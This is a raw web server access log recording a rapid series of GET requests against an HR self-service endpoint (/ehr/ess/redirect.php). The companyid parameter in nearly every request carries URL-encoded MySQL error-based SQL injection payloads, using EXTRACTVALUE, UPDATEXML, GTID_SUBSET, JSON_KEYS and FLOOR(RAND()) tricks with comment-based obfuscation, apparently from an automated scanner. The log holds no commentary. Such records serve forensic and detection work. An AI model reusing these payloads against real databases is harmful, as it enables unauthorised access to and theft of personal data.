100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x52483735%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3573384a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4e385739%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32715958%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4e385739%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32715958%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4934434e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6643417a%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x48623944%2C%28NULL%29%2C0x786e4567%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x486a3852%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d304544%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x74745353%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f787538%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4769304e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79497a41%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4769304e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79497a41%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6b4f6436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a484242%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6b4f6436%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a484242%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x49443552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a504247%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x68486e70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39695366%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x68486e70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39695366%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35645048%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76583453%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35645048%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76583453%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x336e4c76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556c4733%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x336e4c76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556c4733%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68443758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36506a4b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68443758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36506a4b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6a6a5661%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x644b6849%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6a727050%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d34797a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:18 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6a727050%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d34797a%29%2C5431%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47533670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71683975%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x684c3870%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52453274%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x68697071%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52326463%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52566659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7750674a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52566659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7750674a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46304339%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48484754%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46304339%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48484754%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F6538%3D6538&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:19 +0800] "GET /ehr/ess HTTP/1.1" 301 249
